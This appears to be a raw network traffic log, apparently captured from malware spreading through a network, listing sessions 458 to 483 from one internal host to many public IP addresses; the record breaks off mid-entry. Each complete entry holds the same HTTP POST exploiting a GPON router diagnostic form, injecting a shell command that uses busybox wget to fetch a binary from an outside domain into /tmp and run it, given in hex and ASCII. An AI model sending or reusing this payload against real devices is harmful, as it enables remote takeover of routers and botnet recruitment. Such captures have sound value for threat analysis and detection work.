XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.13	45352	117.45.119.58	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768045902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.13	49876	123.185.98.200	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768068075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.13	53894	117.219.121.176	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768085957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.13	43406	37.191.157.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768121004 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.13	52212	148.144.219.0	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768167019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.13	56820	94.248.106.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768196106 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.13	54470	94.123.229.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768235922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.13	43186	42.188.166.196	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768248081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.13	34792	118.59.119.60	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768270016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.13	42344	118.27.195.79	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768295050 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.13	46916	212.46.107.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768331051 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.13	59128	210.190.185.26	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768366098 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.13	58708	123.247.128.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768393993 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.13	38388	202.216.118.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768413067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.13	47950	118.116.253.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768436909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.13	44292	42.93.142.234	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768462896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.13	51540	148.146.234.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768488884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.13	36934	178.124.56.30	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768522024 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.13	36088	202.127.50.105	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768543959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.13	37530	148.98.118.204	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768557072 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.13	44436	5.254.185.54	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768598080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.13	44992	148.71.11.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768623114 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.13	45806	212.217.51.156	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768673897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.13	43962	178.193.25.107	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768699884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.13	49202	202.229.62.152	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.768719912 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.13	33896	94.231.103.23	443

Timestamp	Bytes transferred	Direction	Data
